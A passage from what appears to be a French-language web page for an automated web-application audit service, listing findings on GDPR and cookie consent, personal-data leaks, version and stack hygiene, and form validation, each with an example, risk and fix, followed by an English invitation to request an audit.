Mettre en place un CMP (Cookie Management Platform) conforme : tarteaucitron, Axeptio, OneTrust, ou un opt-in maison strict.
Aucun moyen visible de supprimer son compte ou ses données

L'écran de compte ou de paramètres ne présente aucun contrôle de suppression du compte ou des données personnelles.

Example
Page « Paramètres du compte » sans bouton ni lien « Supprimer mon compte ».
Risk
Exercice du droit à l'effacement (RGPD Art. 17) réduit à un contact manuel, sans délai garanti.
Fix
Ajouter un contrôle dédié « Supprimer mon compte / mes données » sur l'écran de compte, relié à une procédure d'effacement.
Des données personnelles envoyées à un traceur

Une requête de tracking tierce transporte une donnée personnelle (email, identifiant utilisateur) en clair dans sa query string.

Example
.../collect?uid=jean.dupont@example.com envoyé à un analytics tiers.
Risk
Fuite de PII vers un sous-traitant sans base légale.
Fix
Ne jamais passer d'email/identifiant en clair aux traceurs ; utiliser des identifiants pseudonymisés.
Des services tiers détenteurs de données personnelles sont appelés depuis la page data recipient mapping

Des hôtes tiers appartenant à des catégories détentrices de données personnelles (CRM, emailing, analytics, support, paiement) reçoivent des appels depuis cette page. Le constat cartographie leur présence ; il ne vérifie pas qu'une demande d'effacement leur est effectivement propagée.

Example
Des appels sont observés vers un hôte de CRM et un hôte d’emailing tiers.
Risk
Une demande d'effacement RGPD traitée seulement dans la base principale laisse la donnée vivante chez ces destinataires tiers.
Fix
Étendre la procédure d'effacement à chaque système tiers détenteur de données identifié ici (cf. article 17 RGPD).
Des témoins de suivi posés avant tout consentement cookies de tracking

Des cookies non essentiels (analytics, publicité, fingerprinting) sont posés AVANT que l'utilisateur ait donné son consentement explicite. Violation directe du RGPD et des lignes directrices CNIL : la simple visite de la page entraîne du tracking non autorisé.

Example
Cookie _ga (Google Analytics) déposé dès l'arrivée sur la home, avant tout clic sur le bandeau.
Risk
Sanctions CNIL : jusqu'à 4 % du chiffre d'affaires annuel mondial (cas Google : 150 M€, Amazon : 35 M€).
Fix
Bloquer l'initialisation de tout tracker tiers (Google Analytics, Meta Pixel, Hotjar...) tant que le consentement n'est pas explicitement enregistré : utiliser un CMP (Axeptio, OneTrust, tarteaucitron) ou un gating maison strict.
Des témoins sont posés avant tout consentement cookies

Des cookies non essentiels (analytics, ads) sont posés AVANT que l'utilisateur ait cliqué sur 'accepter'. Non-conforme RGPD.

Example
Cookie _ga (Google Analytics) posé dès l'arrivée sur la home, avant interaction.
Risk
Sanctions CNIL (cas Google, Amazon condamnés sur ce motif).
Fix
Bloquer l'initialisation des trackers tant que le consentement n'est pas explicite, et purger les cookies déjà posés.
Des traceurs encore actifs après un refus

Après un clic sur « Refuser » dans le bandeau de consentement, des requêtes de tracking tierces continuent de partir. Le refus n'est pas respecté.

Example
Clic sur « Tout refuser » → GA4/Meta Pixel se déclenchent quand même au rechargement.
Risk
Violation RGPD/ePrivacy la plus flagrante.
Fix
Bloquer réellement le chargement des traceurs tant que le consentement n’est pas donné (consent mode).
Des traceurs sans aucun dispositif de consentement CMP

Des traceurs tiers sont présents mais aucune plateforme de gestion du consentement (Didomi, OneTrust, Axeptio, Cookiebot…) n'a été détectée.

Example
Meta Pixel chargé alors qu'aucune bannière/CMP n'est présente sur le site.
Risk
Impossible de recueillir ou prouver le consentement.
Fix
Intégrer une CMP et conditionner le chargement des traceurs à son signal de consentement.
Le bandeau des témoins ne renvoie pas vers les conditions cookies

Le bandeau de consentement ne propose aucun lien vers la politique de confidentialité ou les conditions d'utilisation. La personne consent sans pouvoir consulter ce à quoi elle consent.

Example
Un bandeau qui n’offre que « Accepter » et « Refuser », sans « En savoir plus ».
Risk
Consentement difficilement qualifiable d'éclairé au sens du RGPD.
Fix
Ajouter dans le bandeau un lien direct vers la politique de confidentialité.
Un champ sensible obligatoire sans explication de sa finalité

Un champ requis porte sur une donnée sensible (date de naissance, téléphone, adresse…) et aucun texte à proximité n'explique pourquoi elle est demandée.

Example
Champ « Date de naissance » obligatoire, sans mention de son usage (âge légal, statistiques…).
Risk
Collecte perçue comme excessive au regard de la finalité déclarée.
Fix
Ajouter une courte phrase à côté du champ expliquant pourquoi cette donnée est nécessaire.
Un identifiant sensible est affiché sans masquage PAN / NIR

Un numéro de carte bancaire ou de sécurité sociale apparaît en clair, en entier, dans le contenu affiché de la page au lieu de montrer seulement ses derniers chiffres.

Example
4111 1111 1111 1111 affiché en entier plutôt que •••• •••• •••• 1111.
Risk
Exposition immédiate en cas de capture d'écran ou de partage de session.
Fix
Ne jamais afficher plus des 4 derniers chiffres ; masquer le reste côté serveur, avant envoi au navigateur.
Un traceur se déclenche avant tout consentement

Une ou plusieurs requêtes vers des services de tracking tiers (Google Analytics, Meta Pixel, Hotjar…) partent dès le chargement, avant que l'utilisateur ait donné son consentement.

Example
GA4 (google-analytics.com/g/collect) appelé au premier rendu, sans clic sur « Accepter ».
Risk
Violation RGPD/ePrivacy directement sanctionnable (CNIL).
Fix
Ne charger les scripts de tracking qu'après un consentement explicite via une CMP (consent mode).
Une donnée est envoyée sans jamais être demandée à l’écran corps de requête API

Une requête d'écriture transporte une clé qu'aucun champ visible du formulaire ne demande : la personne ne sait pas que cette donnée part.

Example
POST /api/profile envoie dateOfBirth alors que le formulaire affiché ne comporte qu'un champ email.
Risk
Collecte non transparente pour la personne concernée.
Fix
Retirer la clé du corps envoyé, ou ajouter le champ correspondant si la collecte est réellement nécessaire.
Une donnée personnelle circule dans une adresse de la page query string

Une donnée personnelle (email, téléphone, IBAN…) apparaît dans les paramètres d'une requête vers l'application elle-même : elle finit dans les journaux serveur et l'historique du navigateur.

Example
GET /api/search?email=jean.dupont@example.com au lieu de la transmettre dans le corps de la requête.
Risk
Donnée personnelle journalisée durablement côté serveur.
Fix
Transmettre la donnée dans le corps de la requête (POST) plutôt que dans son adresse.
Une donnée personnelle est conservée dans le stockage du navigateur localStorage / sessionStorage

Une donnée personnelle est écrite en clair dans le stockage local ou de session du navigateur, où tout script exécuté sur la page peut la lire.

Example
localStorage.setItem("profile", JSON.stringify({ email, iban })).
Risk
Lecture possible par un script tiers compromis (XSS).
Fix
Ne stocker côté client que des identifiants techniques, jamais la donnée personnelle elle-même.
Une réponse d’erreur répète une donnée personnelle saisie

Une réponse en erreur (4xx/5xx) de l'application réintègre dans son corps une donnée personnelle que la personne venait de saisir.

Example
Un formulaire refusé avec 500 { "error": "duplicate for jean.dupont@example.com" }.
Risk
Donnée personnelle capturée par un outil de supervision ou un proxy.
Fix
Faire répondre l'API avec un message d'erreur générique, sans réinjecter la valeur saisie.

Stack

8

The components, versions and tools the page ships.

Aucune version de l’application n’est identifiable depuis l’extérieur version applicative

Aucune page visitée ne porte de marqueur de version (pied de page, balise meta, en-tête X-App-Version) : impossible de dater ou d'identifier de l'extérieur la version actuellement déployée.

Example
Le pied de page ne mentionne aucun numéro de version, aucune balise <meta name="version"> n'est présente, aucun en-tête X-App-Version n'a été observé.
Risk
Impossible pour un client ou un partenaire de vérifier de l'extérieur si un correctif annoncé est bien déployé.
Fix
Exposer un numéro de version visible (pied de page, /version, en-tête X-App-Version).
La version affichée ne suit pas de convention MAJOR.MINOR.PATCH SemVer

La version trouvée (footer, meta, en-tête) n'a pas la forme MAJOR.MINOR.PATCH : un numéro de build, une date ou un identifiant arbitraire ne dit rien de la nature du changement.

Example
Le pied de page affiche Build 20240315-a1b2c3d plutôt qu’un numéro 2.4.1.
Risk
Un intégrateur ne peut pas déduire du numéro seul si une évolution casse la compatibilité.
Fix
Adopter MAJOR.MINOR.PATCH (Semantic Versioning) pour le numéro de version exposé.
Les erreurs du serveur n’ont pas de forme définie

Les erreurs API ne suivent pas un format standardisé (parfois { error: '...' }, parfois { message }, parfois plain text). Le front ne sait pas afficher des messages cohérents.

Example
Erreur 400 renvoyée tantôt en JSON, tantôt en plain text.
Risk
Messages d'erreur incohérents pour l'utilisateur.
Fix
Adopter un format unifié (RFC 7807 / { code, message, details }) et le documenter.
Les fichiers de l’application ne portent pas d’empreinte de contenu dans leur nom content hash

Les fichiers JS/CSS de l'application sont servis sous un nom fixe (app.js) plutôt qu'un nom incluant une empreinte de leur contenu (app.3f2a1c9.js) : le cache ne peut pas distinguer deux versions successives du même fichier.

Example
main.js est identique d’une visite à l’autre dans son nom, quel que soit le contenu réellement livré.
Risk
Un cache CDN ou navigateur peut servir une ancienne version après déploiement, sans moyen fiable de le détecter.
Fix
Faire porter au nom de fichier un hash de son contenu (fingerprinting), généré par le bundler.
Un même appel ne renvoie pas toujours la même forme de données contrat API

Une même endpoint renvoie des shapes différents selon les appels (champs absents, types changeants). Le front doit gérer plusieurs formes.

Example
/api/user renvoie parfois { name }, parfois { firstName, lastName }.
Risk
Bugs front intermittents difficiles à reproduire.
Fix
Définir un schéma OpenAPI / Zod côté serveur, normaliser les réponses.
Un service de feature flags externe pilote des fonctionnalités de l’application feature flag SDK

Le navigateur appelle un service tiers de feature flags (LaunchDarkly, Unleash, Flagsmith, Split, ConfigCat) : certaines fonctionnalités sont activées ou désactivées par une configuration externe à l’application.

Example
Un appel réseau vers clientsdk.launchdarkly.com est observé au chargement de la page.
Risk
Une indisponibilité du service de flags peut désactiver des fonctionnalités si la valeur par défaut n'est pas le comportement existant.
Fix
Documenter les flags actifs et leur valeur par défaut en cas d'indisponibilité du service.
Un service extérieur appelé sans être connu de l’équipe dépendance API tierce

Une dépendance vers une API tierce (CRM, paiement, géocodage, IA, etc.) est utilisée par l'app sans être documentée dans un inventaire central (registre de dépendances, ADR, doc d'architecture). En cas de panne ou de changement de contrat, l'équipe peut être prise au dépourvu.

Example
L'app dépend de api.stripe.com mais Stripe n'apparaît pas dans le registre des dépendances → panne Stripe = panne silencieuse du paiement, personne n'est alerté immédiatement.
Risk
Interruption de service silencieuse en cas de panne du tiers.
Fix
Maintenir un registre des dépendances API tierces (ADR, fichier dependencies.yaml, ou outil dédié) et automatiser sa mise à jour depuis le code (scan des appels HTTP).
Une bibliothèque client observée porte un numéro de version exploitable pour un inventaire SCA / SBOM

La même lecture de version de bibliothèque front que SE-09, ici retenue comme point de départ d’un inventaire de dépendances (SBOM) plutôt que comme signal de sécurité : la présence d’une version n’est pas un défaut.

Example
jquery-3.4.1.min.js identifie une dépendance et sa version exacte, utilisable dans un inventaire.
Risk
Sans inventaire centralisé, une dépendance vulnérable découverte plus tard est longue à localiser dans l'application.
Fix
Constituer un SBOM des dépendances front à partir de ces versions observées, tenu à jour à chaque déploiement.

Forms

7

What forms ask for, check and answer.

Le formulaire de création de compte n’a pas été essayé

Le formulaire crée un compte (champ mot de passe, route ou libellé d'inscription). Il n'est jamais soumis sans --allow-account-creation, même avec --submit-valid-forms : ouvrir un compte laisse une trace réelle chez la cible, souvent un e-mail, et ne se défait pas depuis l'extérieur.

Example
Page /signup avec e-mail + mot de passe.
Risk
Ce n'est pas un défaut de l'application : c'est une couverture d'audit manquante, signalée plutôt que tue.
Fix
Relancer avec --allow-account-creation sur un environnement de test, jamais sur une production sans accord écrit du propriétaire.
Un formulaire accepte d’être envoyé vide

Soumettre le formulaire à vide ne déclenche aucun blocage côté client. L'utilisateur attend une réponse serveur (lente, frustrante).

Example
L'utilisateur clique 'Envoyer' sans remplir → loader 3 s puis erreur 400 → confusion.
Risk
UX dégradée (latence inutile, erreurs tardives).
Fix
Activer la validation HTML5 (required + <form novalidate> non utilisé) ou un check JS au submit.
Un formulaire correctement rempli échoue à l’envoi

Un formulaire rempli avec des valeurs valides échoue à la soumission. Bug fonctionnel grave : on bloque les conversions.

Example
Form d'inscription avec email valide → erreur 500 → utilisateur ne peut pas s'inscrire.
Risk
Perte directe de conversion (inscription, paiement, leads).
Fix
Tracer l'erreur serveur (logs + Sentry) et reproduire avec les valeurs exactes.
Un formulaire où aucun champ n’est déclaré obligatoire required

Le formulaire ne marque aucun champ comme required. L'utilisateur peut soumettre vide : soit le serveur encaisse, soit il rejette tardivement.

Example
Form de contact sans required → soumission vide → mail vide envoyé au support.
Risk
Données métier corrompues (lignes vides, comptes orphelins).
Fix
Marquer les champs obligatoires avec required côté HTML + validation serveur.
Un formulaire refusé ou impossible à envoyer

L'audit a rempli le formulaire avec des valeurs plausibles et l'a envoyé ; l'application l'a refusé, ou aucun bouton d'envoi n'était visible. Le message affiché est dans les occurrences.

Example
Un formulaire de création qui répond « identifiants invalides » parce que la session est tombée.
Risk
Un utilisateur qui remplit ce formulaire peut ne jamais aboutir.
Fix
Lire le message refusé dans les occurrences : s'il parle d'identifiants, c'est la session de l'audit ; sinon, reproduire l'envoi à la main.
Un formulaire sans règles de validation déclarées

Le formulaire a été reconnu par heuristique (composant sans balise <form>) ; ses champs n'ont ni attribut required ni type précis. Le navigateur ne peut rien valider avant l'envoi.

Example
Un bloc de deux champs et un bouton, sans <form>, sur la page d’accueil.
Risk
Aucune validation native : tout part au serveur.
Fix
Envelopper dans un <form>, poser required et type sur les champs.
Un problème de formulaire

Le formulaire présente un défaut structurel ou de robustesse (champ sans label, absence de validation, comportement inattendu à la soumission).

Example
Un champ requis sans indication ni validation côté client.
Risk
Saisie pénible et taux d’abandon élevé.
Fix
Associer chaque champ à un label, valider côté client, et afficher un retour explicite (succès/erreur) à la soumission.
→ exit

It goes where the others stop.

The journey only starts on request. Send me three things, you receive the report.

  • The address of the application, preferably a staging environment
  • An account a test account with ordinary user rights
  • The scope read only, or forms and clicks allowed
cedric@siliceum.com

What happens next

  1. You send me the address and the scope. The test account comes separately, never in the email.
  2. I run it and read the report before sending it to you.
  3. We go through it together, half an hour on a call, so your team knows where to start.

The first runs are free, walk-through included, for teams willing to tell me afterwards what the report was missing.